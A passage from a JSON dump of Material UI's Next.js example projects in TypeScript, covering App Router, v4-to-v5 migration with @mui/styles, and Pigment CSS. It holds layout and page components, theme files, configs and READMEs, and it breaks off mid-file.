    "content": "import * as React from 'react';\nimport { AppRouterCacheProvider } from '@mui/material-nextjs/v16-appRouter';\nimport { ThemeProvider } from '@mui/material/styles';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport InitColorSchemeScript from '@mui/material/InitColorSchemeScript';\nimport theme from '@/theme';\nimport ModeSwitch from '@/components/ModeSwitch';\n\nexport default function RootLayout(props: { children: React.ReactNode }) {\n  return (\n    <html lang=\"en\" suppressHydrationWarning>\n      <body>\n        <InitColorSchemeScript attribute=\"class\" />\n        <AppRouterCacheProvider options={{ enableCssLayer: true }}>\n          <ThemeProvider theme={theme}>\n            {/* CssBaseline kickstart an elegant, consistent, and simple baseline to build upon. */}\n            <CssBaseline />\n            <ModeSwitch />\n            {props.children}\n          </ThemeProvider>\n        </AppRouterCacheProvider>\n      </body>\n    </html>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-nextjs-ts/src/app/page.tsx",
    "content": "import * as React from 'react';\nimport Container from '@mui/material/Container';\nimport Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\nimport MaterialUILink from '@mui/material/Link';\nimport NextLink from '@/components/Link';\nimport ProTip from '@/components/ProTip';\nimport Copyright from '@/components/Copyright';\n\nexport default function Home() {\n  return (\n    <Container maxWidth=\"lg\">\n      <Box\n        sx={{\n          my: 4,\n          display: 'flex',\n          flexDirection: 'column',\n          justifyContent: 'center',\n          alignItems: 'center',\n        }}\n      >\n        <Typography variant=\"h4\" component=\"h1\" sx={{ mb: 2 }}>\n          Material UI - Next.js example in TypeScript\n        </Typography>\n        <MaterialUILink component={NextLink} href=\"/about\" color=\"secondary\">\n          Go to the about page\n        </MaterialUILink>\n        <ProTip />\n        <Copyright />\n      </Box>\n    </Container>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-nextjs-ts/src/components/Copyright.tsx",
    "content": "import * as React from 'react';\nimport Typography from '@mui/material/Typography';\nimport MuiLink from '@mui/material/Link';\n\nexport default function Copyright() {\n  return (\n    <Typography\n      variant=\"body2\"\n      align=\"center\"\n      sx={{\n        color: 'text.secondary',\n      }}\n    >\n      {'Copyright © '}\n      <MuiLink color=\"inherit\" href=\"https://mui.com/\">\n        Your Website\n      </MuiLink>{' '}\n      {new Date().getFullYear()}.\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-nextjs-ts/src/components/Link.tsx",
    "content": "'use client';\nimport Link from 'next/link';\n\nexport default Link;\n"
  },
  {
    "path": "examples/material-ui-nextjs-ts/src/components/ModeSwitch.tsx",
    "content": "'use client';\nimport * as React from 'react';\nimport Box from '@mui/material/Box';\nimport FormControl from '@mui/material/FormControl';\nimport InputLabel from '@mui/material/InputLabel';\nimport MenuItem from '@mui/material/MenuItem';\nimport Select from '@mui/material/Select';\nimport { useColorScheme } from '@mui/material/styles';\n\nexport default function ModeSwitch() {\n  const { mode, setMode } = useColorScheme();\n  if (!mode) {\n    return null;\n  }\n  return (\n    <Box\n      sx={{\n        display: 'flex',\n        justifyContent: 'flex-end',\n        mt: 1,\n        p: 1,\n      }}\n    >\n      <FormControl>\n        <InputLabel id=\"mode-select-label\">Theme</InputLabel>\n        <Select\n          labelId=\"mode-select-label\"\n          id=\"mode-select\"\n          value={mode}\n          onChange={(event) => setMode(event.target.value as typeof mode)}\n          label=\"Theme\"\n        >\n          <MenuItem value=\"system\">System</MenuItem>\n          <MenuItem value=\"light\">Light</MenuItem>\n          <MenuItem value=\"dark\">Dark</MenuItem>\n        </Select>\n      </FormControl>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-nextjs-ts/src/components/ProTip.tsx",
    "content": "import * as React from 'react';\nimport Link from '@mui/material/Link';\nimport SvgIcon, { SvgIconProps } from '@mui/material/SvgIcon';\nimport Typography from '@mui/material/Typography';\n\nfunction LightBulbIcon(props: SvgIconProps) {\n  return (\n    <SvgIcon {...props}>\n      <path d=\"M9 21c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1H9v1zm3-19C8.14 2 5 5.14 5 9c0 2.38 1.19 4.47 3 5.74V17c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-2.26c1.81-1.27 3-3.36 3-5.74 0-3.86-3.14-7-7-7zm2.85 11.1l-.85.6V16h-4v-2.3l-.85-.6C7.8 12.16 7 10.63 7 9c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.63-.8 3.16-2.15 4.1z\" />\n    </SvgIcon>\n  );\n}\n\nexport default function ProTip() {\n  return (\n    <Typography sx={{ mt: 6, mb: 3, color: 'text.secondary' }}>\n      <LightBulbIcon sx={{ mr: 1, verticalAlign: 'middle' }} />\n      {'Pro tip: See more '}\n      <Link href=\"https://mui.com/material-ui/getting-started/templates/\">templates</Link>\n      {' in the Material UI documentation.'}\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-nextjs-ts/src/theme.ts",
    "content": "'use client';\nimport { createTheme } from '@mui/material/styles';\nimport { Roboto } from 'next/font/google';\n\nconst roboto = Roboto({\n  weight: ['300', '400', '500', '700'],\n  subsets: ['latin'],\n  display: 'swap',\n});\n\nconst theme = createTheme({\n  colorSchemes: { light: true, dark: true },\n  cssVariables: {\n    colorSchemeSelector: 'class',\n  },\n  typography: {\n    fontFamily: roboto.style.fontFamily,\n  },\n  components: {\n    MuiAlert: {\n      styleOverrides: {\n        root: {\n          variants: [\n            {\n              props: { severity: 'info' },\n              style: {\n                backgroundColor: '#60a5fa',\n              },\n            },\n          ],\n        },\n      },\n    },\n  },\n});\n\nexport default theme;\n"
  },
  {
    "path": "examples/material-ui-nextjs-ts/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"target\": \"es5\",\n    \"lib\": [\"dom\", \"dom.iterable\", \"esnext\"],\n    \"allowJs\": true,\n    \"skipLibCheck\": true,\n    \"strict\": true,\n    \"forceConsistentCasingInFileNames\": true,\n    \"noEmit\": true,\n    \"esModuleInterop\": true,\n    \"module\": \"esnext\",\n    \"moduleResolution\": \"node\",\n    \"resolveJsonModule\": true,\n    \"isolatedModules\": true,\n    \"jsx\": \"react-jsx\",\n    \"incremental\": true,\n    \"plugins\": [\n      {\n        \"name\": \"next\"\n      }\n    ],\n    \"paths\": {\n      \"@/*\": [\"./src/*\"]\n    }\n  },\n  \"include\": [\n    \"next-env.d.ts\",\n    \"**/*.ts\",\n    \"**/*.tsx\",\n    \".next/types/**/*.ts\",\n    \".next/dev/types/**/*.ts\"\n  ],\n  \"exclude\": [\"node_modules\"]\n}\n"
  },
  {
    "path": "examples/material-ui-nextjs-ts-v4-v5-migration/.gitignore",
    "content": "# See https://help.github.com/articles/ignoring-files/ for more about ignoring files.\n\n# dependencies\n/node_modules\n/.pnp\n.pnp.js\n\n# testing\n/coverage\n\n# next.js\n/.next/\n/out/\n\n# production\n/build\n\n# misc\n.DS_Store\n*.pem\n\n# debug\nnpm-debug.log*\nyarn-debug.log*\nyarn-error.log*\n\n# local env files\n.env.local\n.env.development.local\n.env.test.local\n.env.production.local\n\n# vercel\n.vercel\n\n# typescript\n*.tsbuildinfo\nnext-env.d.ts\n"
  },
  {
    "path": "examples/material-ui-nextjs-ts-v4-v5-migration/README.md",
    "content": "# Material UI and Next.js example with @mui/styles (in TypeScript)\n\n## How to use\n\nDownload the example [or clone the repo](https://github.com/mui/material-ui):\n\n<!-- #target-branch-reference -->\n\n```bash\ncurl https://codeload.github.com/mui/material-ui/tar.gz/master | tar -xz --strip=2  material-ui-master/examples/material-ui-nextjs-ts-v4-v5-migration\ncd material-ui-nextjs-ts-v4-v5-migration\n```\n\nInstall it and run:\n\n```bash\nnpm install\nnpm run dev\n```\n\nor:\n\n<!-- #target-branch-reference -->\n\n[![Edit on StackBlitz](https://developer.stackblitz.com/img/open_in_stackblitz.svg)](https://stackblitz.com/github/mui/material-ui/tree/master/examples/material-ui-nextjs-ts-v4-v5-migration)\n\n[![Edit on CodeSandbox](https://codesandbox.io/static/img/play-codesandbox.svg)](https://codesandbox.io/p/sandbox/github/mui/material-ui/tree/master/examples/material-ui-nextjs-ts-v4-v5-migration)\n\n## The idea behind the example\n\nThe project uses [Next.js](https://github.com/vercel/next.js), which is a framework for server-rendered React apps.\nIt includes `@mui/material` and its peer dependencies, including [Emotion](https://emotion.sh/docs/introduction), the default style engine in Material UI.\nIf you prefer, you can [use styled-components instead](https://mui.com/material-ui/integrations/interoperability/#styled-components).\n\nIt also includes `@mui/styles`, the legacy styling solution that uses JSS as an engine.\nIt provides all the necessary config for working with both Emotion and JSS for server-side rendering.\nThe project is intended as a basic starter for migrating your application from v4 to v5, as it lets the JSS style overrides take precedence over the default styles passed to the components by Emotion.\nIt demonstrates what results after handling v5's breaking changes to the [theme](https://mui.com/material-ui/migration/v5-style-changes/) and [components](https://mui.com/material-ui/migration/v5-component-changes/).\n\n## The Link component\n\nNext.js Pages Router has [a custom Link component](https://nextjs.org/docs/pages/api-reference/components/link).\nThe example folder provides adapters for usage with Material UI.\nYou can find more information [in the documentation](https://mui.com/material-ui/integrations/routing/#next-js-pages-router).\n"
  },
  {
    "path": "examples/material-ui-nextjs-ts-v4-v5-migration/next.config.mjs",
    "content": "/** @type {import('next').NextConfig} */\nexport default {\n  reactStrictMode: true,\n};\n"
  },
  {
    "path": "examples/material-ui-nextjs-ts-v4-v5-migration/package.json",
    "content": "{\n  \"name\": \"material-ui-nextjs-ts-v4-v5-migration\",\n  \"version\": \"7.0.0\",\n  \"private\": true,\n  \"scripts\": {\n    \"dev\": \"next dev\",\n    \"build\": \"next build\",\n    \"start\": \"next start\",\n    \"post-update\": \"echo \\\"codesandbox preview only, need an update\\\" && pnpm update --latest\"\n  },\n  \"dependencies\": {\n    \"@emotion/cache\": \"latest\",\n    \"@emotion/react\": \"latest\",\n    \"@emotion/server\": \"latest\",\n    \"@emotion/styled\": \"latest\",\n    \"@mui/icons-material\": \"next\",\n    \"@mui/material\": \"next\",\n    \"@mui/material-nextjs\": \"next\",\n    \"@mui/styles\": \"latest\",\n    \"autoprefixer\": \"latest\",\n    \"clean-css\": \"latest\",\n    \"clsx\": \"latest\",\n    \"next\": \"latest\",\n    \"postcss\": \"latest\",\n    \"react\": \"latest\",\n    \"react-dom\": \"latest\"\n  },\n  \"devDependencies\": {\n    \"@types/node\": \"latest\",\n    \"@types/react\": \"latest\",\n    \"eslint\": \"latest\",\n    \"eslint-config-next\": \"latest\",\n    \"typescript\": \"latest\"\n  }\n}\n"
  },
  {
    "path": "examples/material-ui-nextjs-ts-v4-v5-migration/pages/_app.tsx",
    "content": "import * as React from 'react';\nimport Head from 'next/head';\nimport { AppProps } from 'next/app';\nimport { AppCacheProvider } from '@mui/material-nextjs/v14-pagesRouter';\nimport { ThemeProvider } from '@mui/material/styles';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport theme from '../src/theme';\n\nexport default function MyApp(props: AppProps) {\n  const { Component, pageProps } = props;\n\n  React.useEffect(() => {\n    // Remove the server-side injected CSS.\n    const jssStyles = document.querySelector('#jss-server-side');\n    if (jssStyles) {\n      jssStyles?.parentElement?.removeChild(jssStyles);\n    }\n  }, []);\n\n  return (\n    <AppCacheProvider {...props}>\n      <Head>\n        <meta name=\"viewport\" content=\"initial-scale=1, width=device-width\" />\n      </Head>\n      <ThemeProvider theme={theme}>\n        {/* CssBaseline kickstart an elegant, consistent, and simple baseline to build upon. */}\n        <CssBaseline />\n        <Component {...pageProps} />\n      </ThemeProvider>\n    </AppCacheProvider>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-nextjs-ts-v4-v5-migration/pages/_document.tsx",
    "content": "import * as React from 'react';\nimport {\n  Html,\n  Head,\n  Main,\n  NextScript,\n  DocumentProps,\n  DocumentInitialProps,\n  DocumentContext,\n} from 'next/document';\nimport { AppProps } from 'next/app';\nimport {\n  DocumentHeadTags,\n  DocumentHeadTagsProps,\n  documentGetInitialProps,\n} from '@mui/material-nextjs/v14-pagesRouter';\nimport { ServerStyleSheets as JSSServerStyleSheets } from '@mui/styles';\nimport theme from '../src/theme';\n\nexport default function MyDocument(props: DocumentProps & DocumentHeadTagsProps) {\n  return (\n    <Html lang=\"en\">\n      <Head>\n        {/* PWA primary color */}\n        <meta name=\"theme-color\" content={theme.palette.primary.main} />\n        <link rel=\"icon\" href=\"/favicon.ico\" />\n        <DocumentHeadTags {...props} />\n      </Head>\n      <body>\n        <Main />\n        <NextScript />\n      </body>\n    </Html>\n  );\n}\n\n// You can find a benchmark of the available CSS minifiers under\n// https://github.com/GoalSmashers/css-minification-benchmark\n// We have found that clean-css is faster than cssnano but the output is larger.\n// Waiting for https://github.com/cssinjs/jss/issues/279\n// 4% slower but 12% smaller output than doing it in a single step.\n//\n// It's using .browserslistrc\nlet prefixer: any;\nlet cleanCSS: any;\nif (process.env.NODE_ENV === 'production') {\n  /* eslint-disable global-require */\n  const postcss = require('postcss');\n  const autoprefixer = require('autoprefixer');\n  const CleanCSS = require('clean-css');\n  /* eslint-enable global-require */\n\n  prefixer = postcss([autoprefixer]);\n  cleanCSS = new CleanCSS();\n}\n\nMyDocument.getInitialProps = async (ctx: DocumentContext) => {\n  const jssSheets = new JSSServerStyleSheets();\n\n  const finalProps = await documentGetInitialProps(ctx, {\n    plugins: [\n      {\n        enhanceApp: (App: React.ComponentType<AppProps>) =>\n          function EnhanceApp(props: AppProps) {\n            return jssSheets.collect(<App {...props} />);\n          },\n        resolveProps: async (initialProps: DocumentInitialProps) => {\n          // Generate the css string for the styles coming from jss\n          let css = jssSheets.toString();\n          // It might be undefined, for example after an error.\n          if (css && process.env.NODE_ENV === 'production') {\n            const result1 = await prefixer.process(css, { from: undefined });\n            css = result1.css;\n            css = cleanCSS.minify(css).styles;\n          }\n\n          return {\n            ...initialProps,\n            styles: [\n              ...(Array.isArray(initialProps.styles) ? initialProps.styles : [initialProps.styles]),\n              <style\n                id=\"jss-server-side\"\n                key=\"jss-server-side\"\n                // eslint-disable-next-line react/no-danger\n                dangerouslySetInnerHTML={{ __html: css }}\n              />,\n              ...React.Children.toArray(initialProps.styles),\n            ],\n          };\n        },\n      },\n    ],\n  });\n\n  return finalProps;\n};\n"
  },
  {
    "path": "examples/material-ui-nextjs-ts-v4-v5-migration/pages/about.tsx",
    "content": "import * as React from 'react';\nimport Container from '@mui/material/Container';\nimport Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport { makeStyles } from '@mui/styles';\nimport { Link } from '../src/Link';\nimport ProTip from '../src/ProTip';\nimport Copyright from '../src/Copyright';\n\nconst useStyles = makeStyles((theme) => ({\n  main: {\n    marginTop: theme.spacing(4),\n    marginBottom: theme.spacing(4),\n    display: 'flex',\n    flexDirection: 'column',\n    justifyContent: 'center',\n    alignItems: 'center',\n  },\n}));\n\nexport default function About() {\n  const classes = useStyles();\n  return (\n    <Container maxWidth=\"lg\">\n      <div className={classes.main}>\n        <Typography variant=\"h4\" component=\"h1\" sx={{ mb: 2 }}>\n          Material UI - Next.js example in TypeScript with legacy @mui/styles\n        </Typography>\n        <Box sx={{ maxWidth: 'sm' }}>\n          <Button variant=\"contained\" component={Link} noLinkStyle href=\"/\">\n            Go to the home page\n          </Button>\n        </Box>\n        <ProTip />\n        <Copyright />\n      </div>\n    </Container>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-nextjs-ts-v4-v5-migration/pages/index.tsx",
    "content": "import * as React from 'react';\nimport Container from '@mui/material/Container';\nimport Typography from '@mui/material/Typography';\nimport { makeStyles } from '@mui/styles';\nimport { Link } from '../src/Link';\nimport ProTip from '../src/ProTip';\nimport Copyright from '../src/Copyright';\n\nconst useStyles = makeStyles((theme) => ({\n  main: {\n    marginTop: theme.spacing(4),\n    marginBottom: theme.spacing(4),\n    display: 'flex',\n    flexDirection: 'column',\n    justifyContent: 'center',\n    alignItems: 'center',\n  },\n}));\n\nexport default function Home() {\n  const classes = useStyles();\n\n  return (\n    <Container maxWidth=\"lg\">\n      <div className={classes.main}>\n        <Typography variant=\"h4\" component=\"h1\" sx={{ mb: 2 }}>\n          Material UI - Next.js example in TypeScript with legacy @mui/styles\n        </Typography>\n        <Link href=\"/about\" color=\"secondary\">\n          Go to the about page\n        </Link>\n        <ProTip />\n        <Copyright />\n      </div>\n    </Container>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-nextjs-ts-v4-v5-migration/src/Copyright.tsx",
    "content": "import * as React from 'react';\nimport Typography from '@mui/material/Typography';\nimport MuiLink from '@mui/material/Link';\n\nexport default function Copyright() {\n  return (\n    <Typography\n      variant=\"body2\"\n      align=\"center\"\n      sx={{\n        color: 'text.secondary',\n      }}\n    >\n      {'Copyright © '}\n      <MuiLink color=\"inherit\" href=\"https://mui.com/\">\n        Your Website\n      </MuiLink>{' '}\n      {new Date().getFullYear()}.\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-nextjs-ts-v4-v5-migration/src/Link.tsx",
    "content": "import * as React from 'react';\nimport clsx from 'clsx';\nimport { useRouter } from 'next/router';\nimport NextLink, { LinkProps as NextLinkProps } from 'next/link';\nimport MuiLink, { LinkProps as MuiLinkProps } from '@mui/material/Link';\n\ninterface NextLinkComposedProps\n  extends\n    Omit<React.AnchorHTMLAttributes<HTMLAnchorElement>, 'href'>,\n    Omit<NextLinkProps, 'href' | 'as' | 'passHref' | 'onMouseEnter' | 'onClick' | 'onTouchStart'> {\n  to: NextLinkProps['href'];\n  linkAs?: NextLinkProps['as'];\n}\n\nexport const NextLinkComposed = React.forwardRef<HTMLAnchorElement, NextLinkComposedProps>(\n  function NextLinkComposed(props, ref) {\n    const { to, linkAs, ...other } = props;\n\n    return <NextLink href={to} as={linkAs} ref={ref} {...other} />;\n  },\n);\n\nexport type LinkProps = {\n  activeClassName?: string;\n  as?: NextLinkProps['as'];\n  href: NextLinkProps['href'];\n  linkAs?: NextLinkProps['as']; // Useful when the as prop is shallow by styled().\n  noLinkStyle?: boolean;\n} & Omit<NextLinkComposedProps, 'to' | 'linkAs' | 'href'> &\n  Omit<MuiLinkProps, 'href'>;\n\n// A styled version of the Next.js Link component:\n// https://nextjs.org/docs/pages/api-reference/components/link\nexport const Link = React.forwardRef<HTMLAnchorElement, LinkProps>(function Link(props, ref) {\n  const {\n    activeClassName = 'active',\n    as,\n    className: classNameProps,\n    href,\n    linkAs: linkAsProp,\n    noLinkStyle,\n    ...other\n  } = props;\n\n  const router = useRouter();\n  const pathname = typeof href === 'string' ? href : href?.pathname;\n\n  const className = clsx(classNameProps, {\n    [activeClassName]: router.pathname === pathname && activeClassName,\n  });\n\n  const linkAs = linkAsProp || as || (href as string);\n  const nextjsProps = {\n    to: href,\n    linkAs,\n  };\n\n  if (noLinkStyle) {\n    return <NextLinkComposed className={className} ref={ref} {...nextjsProps} {...other} />;\n  }\n\n  return (\n    <MuiLink\n      component={NextLinkComposed}\n      className={className}\n      ref={ref}\n      {...nextjsProps}\n      {...other}\n    />\n  );\n});\n"
  },
  {
    "path": "examples/material-ui-nextjs-ts-v4-v5-migration/src/ProTip.tsx",
    "content": "import * as React from 'react';\nimport Link from '@mui/material/Link';\nimport SvgIcon, { SvgIconProps } from '@mui/material/SvgIcon';\nimport Typography from '@mui/material/Typography';\nimport { makeStyles } from '@mui/styles';\n\nfunction LightBulbIcon(props: SvgIconProps) {\n  return (\n    <SvgIcon {...props}>\n      <path d=\"M9 21c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1H9v1zm3-19C8.14 2 5 5.14 5 9c0 2.38 1.19 4.47 3 5.74V17c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-2.26c1.81-1.27 3-3.36 3-5.74 0-3.86-3.14-7-7-7zm2.85 11.1l-.85.6V16h-4v-2.3l-.85-.6C7.8 12.16 7 10.63 7 9c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.63-.8 3.16-2.15 4.1z\" />\n    </SvgIcon>\n  );\n}\n\nconst useStyles = makeStyles((theme) => ({\n  typography: {\n    marginTop: theme.spacing(6),\n    marginBottom: theme.spacing(3),\n  },\n}));\n\nexport default function ProTip() {\n  const classes = useStyles();\n\n  return (\n    <Typography\n      className={classes.typography}\n      sx={{\n        color: 'text.secondary',\n      }}\n    >\n      <LightBulbIcon sx={{ mr: 1, verticalAlign: 'middle' }} />\n      {'Pro tip: See more '}\n      <Link href=\"https://mui.com/material-ui/getting-started/templates/\">templates</Link>in the\n      {' in the Material UI documentation.'}\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-nextjs-ts-v4-v5-migration/src/theme.ts",
    "content": "import { Roboto } from 'next/font/google';\nimport { createTheme } from '@mui/material/styles';\nimport { red } from '@mui/material/colors';\n\nconst roboto = Roboto({\n  weight: ['300', '400', '500', '700'],\n  subsets: ['latin'],\n  display: 'swap',\n});\n\n// Create a theme instance.\nconst theme = createTheme({\n  cssVariables: true,\n  palette: {\n    primary: {\n      main: '#556cd6',\n    },\n    secondary: {\n      main: '#19857b',\n    },\n    error: {\n      main: red.A400,\n    },\n  },\n  typography: {\n    fontFamily: roboto.style.fontFamily,\n  },\n});\n\nexport default theme;\n"
  },
  {
    "path": "examples/material-ui-nextjs-ts-v4-v5-migration/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"target\": \"es5\",\n    \"lib\": [\"dom\", \"dom.iterable\", \"esnext\"],\n    \"allowJs\": true,\n    \"skipLibCheck\": true,\n    \"strict\": true,\n    \"forceConsistentCasingInFileNames\": true,\n    \"noEmit\": true,\n    \"esModuleInterop\": true,\n    \"module\": \"esnext\",\n    \"moduleResolution\": \"node\",\n    \"resolveJsonModule\": true,\n    \"isolatedModules\": true,\n    \"jsx\": \"preserve\",\n    \"jsxImportSource\": \"@emotion/react\",\n    \"incremental\": true\n  },\n  \"include\": [\"next-env.d.ts\", \"**/*.ts\", \"**/*.tsx\"],\n  \"exclude\": [\"node_modules\"]\n}\n"
  },
  {
    "path": "examples/material-ui-nextjs-ts-v4-v5-migration/types/mui-styles.d.ts",
    "content": "import { Theme } from '@mui/material/styles';\n\ndeclare module '@mui/styles' {\n  interface DefaultTheme extends Theme {}\n}\n"
  },
  {
    "path": "examples/material-ui-pigment-css-nextjs-ts/.gitignore",
    "content": "# See https://help.github.com/articles/ignoring-files/ for more about ignoring files.\n\n# dependencies\n/node_modules\n/.pnp\n.pnp.js\n\n# testing\n/coverage\n\n# next.js\n/.next/\n/out/\n\n# production\n/build\n\n# misc\n.DS_Store\n*.pem\n\n# debug\nnpm-debug.log*\nyarn-debug.log*\nyarn-error.log*\n.pnpm-debug.log*\n\n# local env files\n.env*.local\n\n# vercel\n.vercel\n\n# typescript\n*.tsbuildinfo\n# next-env.d.ts\n"
  },
  {
    "path": "examples/material-ui-pigment-css-nextjs-ts/README.md",
    "content": "# Material UI x Pigment CSS - Next.js App Router example in TypeScript\n\nThis is a [Next.js](https://nextjs.org/) project bootstrapped using [`create-next-app`](https://github.com/vercel/next.js/tree/HEAD/packages/create-next-app) with Material UI installed.\n\n## How to use\n\nDownload the example [or clone the repo](https://github.com/mui/material-ui):\n\n<!-- #target-branch-reference -->\n\n```bash\ncurl https://codeload.github.com/mui/material-ui/tar.gz/master | tar -xz --strip=2  material-ui-master/examples/material-ui-pigment-css-nextjs-ts\ncd material-ui-pigment-css-nextjs-ts\n```\n\nInstall it and run:\n\n```bash\nnpm install\nnpm run dev\n```\n\nOpen [http://localhost:3000](http://localhost:3000) with your browser to see the result.\n\nor:\n\n<!-- #target-branch-reference -->\n\n[![Edit on StackBlitz](https://developer.stackblitz.com/img/open_in_stackblitz.svg)](https://stackblitz.com/github/mui/material-ui/tree/master/examples/material-ui-pigment-css-nextjs-ts)\n\n[![Edit on CodeSandbox](https://codesandbox.io/static/img/play-codesandbox.svg)](https://codesandbox.io/p/sandbox/github/mui/material-ui/tree/master/examples/material-ui-pigment-css-nextjs-ts)\n\n## Learn more\n\nTo learn more about this example:\n\n<!-- #host-reference -->\n\n- [Next.js documentation](https://nextjs.org/docs) - learn about Next.js features and API.\n- [Customizing Material UI](https://next.mui.com/material-ui/customization/how-to-customize/) - approaches to customizing Material UI.\n\n## What's next?\n\n<!-- #host-reference -->\n\nYou now have a working example project.\nYou can head back to the documentation and continue by browsing the [templates](https://next.mui.com/material-ui/getting-started/templates/) section.\n"
  },
  {
    "path": "examples/material-ui-pigment-css-nextjs-ts/next.config.mjs",
    "content": "import { withPigment } from '@pigment-css/nextjs-plugin';\nimport { createTheme } from '@mui/material';\n\n/** @type {import('next').NextConfig} */\nconst nextConfig = {};\n\nexport default withPigment(nextConfig, {\n  theme: createTheme({\n    cssVariables: {\n      colorSchemeSelector: 'class',\n    },\n    colorSchemes: { light: true, dark: true },\n    typography: {\n      fontFamily: 'var(--font-roboto)',\n    },\n  }),\n  transformLibraries: ['@mui/material'],\n});\n"
  },
  {
    "path": "examples/material-ui-pigment-css-nextjs-ts/package.json",
    "content": "{\n  \"name\": \"material-ui-pigment-css-nextjs-ts\",\n  \"version\": \"7.0.0\",\n  \"private\": true,\n  \"scripts\": {\n    \"dev\": \"next dev\",\n    \"build\": \"next build\",\n    \"start\": \"next start\"\n  },\n  \"dependencies\": {\n    \"@mui/material\": \"next\",\n    \"@mui/material-pigment-css\": \"next\",\n    \"@pigment-css/react\": \"latest\",\n    \"next\": \"latest\",\n    \"react\": \"latest\",\n    \"react-dom\": \"latest\"\n  },\n  \"devDependencies\": {\n    \"@pigment-css/nextjs-plugin\": \"latest\",\n    \"@types/node\": \"latest\",\n    \"@types/react\": \"latest\",\n    \"@types/react-dom\": \"latest\",\n    \"eslint\": \"latest\",\n    \"eslint-config-next\": \"latest\",\n    \"typescript\": \"latest\"\n  }\n}\n"
  },
  {
    "path": "examples/material-ui-pigment-css-nextjs-ts/public/.gitkeep",
    "content": ""
  },
  {
    "path": "examples/material-ui-pigment-css-nextjs-ts/src/app/layout.tsx",
    "content": "import * as React from 'react';\nimport type { Metadata } from 'next';\nimport { cookies } from 'next/headers';\nimport '@mui/material-pigment-css/styles.css';\nimport { ColorSchemeProvider } from '../components/ColorSchemeProvider';\nimport App from '../components/App';\n\nexport const metadata: Metadata = {\n  title: 'Material UI x Pigment CSS',\n  description: 'Generated by create next app',\n};\nexport default async function RootLayout({\n  children,\n}: Readonly<{\n  children: React.ReactNode;\n}>) {\n  const cookieStore = await cookies();\n  const { value: colorScheme = 'light' } = cookieStore.get('colorScheme') ?? {};\n  return (\n    <html lang=\"en\">\n      <ColorSchemeProvider colorScheme={colorScheme}>\n        <App>{children}</App>\n      </ColorSchemeProvider>\n    </html>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-pigment-css-nextjs-ts/src/app/page.tsx",
    "content": "'use client';\nimport * as React from 'react';\nimport DefaultPropsProvider from '@mui/material/DefaultPropsProvider';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport IconButton from '@mui/material/IconButton';\nimport Container from '@mui/material-pigment-css/Container';\nimport Grid from '@mui/material-pigment-css/Grid';\nimport Stack from '@mui/material-pigment-css/Stack';\nimport Typography from '@mui/material/Typography';\nimport Chip from '@mui/material/Chip';\nimport { styled } from '@mui/material-pigment-css';\nimport { useColorScheme } from '../components/ColorSchemeProvider';\n\nconst Title = styled('div')(({ theme }) => ({\n  color: theme.vars.palette.text.primary,\n  font: theme.vars.font.body1,\n  fontSize: '1.125rem',\n  lineHeight: 1.7,\n}));\n\nexport default function Home() {\n  const { colorScheme, setColorScheme } = useColorScheme();\n\n  const toggleColorScheme = () => {\n    setColorScheme(colorScheme === 'dark' ? 'light' : 'dark');\n  };\n\n  return (\n    <main sx={{ minHeight: '100lvh', display: 'grid', placeItems: 'center' }}>\n      <DefaultPropsProvider\n        value={{\n          MuiChip: {\n            label: 'Available in v6',\n          },\n        }}\n      >\n        <CssBaseline />\n        <Container>\n          <div sx={{ position: 'absolute', top: 10, right: 10 }}>\n            <IconButton sx={{ fontSize: 20, px: 1.5 }} onClick={toggleColorScheme}>\n              {colorScheme === 'light' ? '🌙' : '🔆'}\n            </IconButton>\n          </div>\n          <Grid container spacing={{ xs: 2, sm: 3, md: 4 }}>\n            <Grid size={{ xs: 12, md: 6 }} sx={{ pl: 4.5 }}>\n              <Chip\n                sx={(theme) => ({\n                  mb: 2,\n                  fontWeight: 600,\n                  bgcolor: `rgba(${theme.vars.palette.primary.mainChannel} / 0.1)`,\n                  color: 'primary.dark',\n                })}\n              />\n              <Typography\n                variant=\"h1\"\n                sx={{\n                  fontWeight: 500,\n                  fontSize: 'clamp(3rem, 2.354rem + 2.7562vw, 5rem)',\n                  textWrap: 'balance',\n                  letterSpacing: '-0.025em',\n                }}\n              >\n                <span\n                  sx={(theme) => ({\n                    display: 'block',\n                    background: `linear-gradient(145deg, ${\n                      (theme.vars || theme).palette.primary.light\n                    } 5%, ${(theme.vars || theme).palette.primary.dark} 90%)`,\n                    // `Webkit` has to come later\n                    WebkitBackgroundClip: 'text',\n                    WebkitTextFillColor: 'transparent',\n                  })}\n                >\n                  Material UI\n                </span>\n                Pigment CSS\n              </Typography>\n            </Grid>\n            <Grid size={{ xs: 12, md: 6 }}>\n              <Stack\n                component=\"ul\"\n                spacing={3}\n                sx={{\n                  m: 0,\n                  pl: 3,\n                  color: 'text.secondary',\n                  '& li': {\n                    pl: 2,\n                    fontSize: '1.125rem',\n                    fontWeight: 500,\n                    '&::marker': {\n                      color: 'text.primary',\n                    },\n                  },\n                }}\n              >\n                <li\n                  sx={{\n                    '&::marker': { content: '\"⚡️\"' },\n                  }}\n                >\n                  <Title>Build-time CSS Extraction</Title>\n                  <Typography>\n                    Pigment CSS looks through Material UI components used in the project and\n                    extracts the styles into plain CSS.\n                  </Typography>\n                </li>\n                <li\n                  sx={{\n                    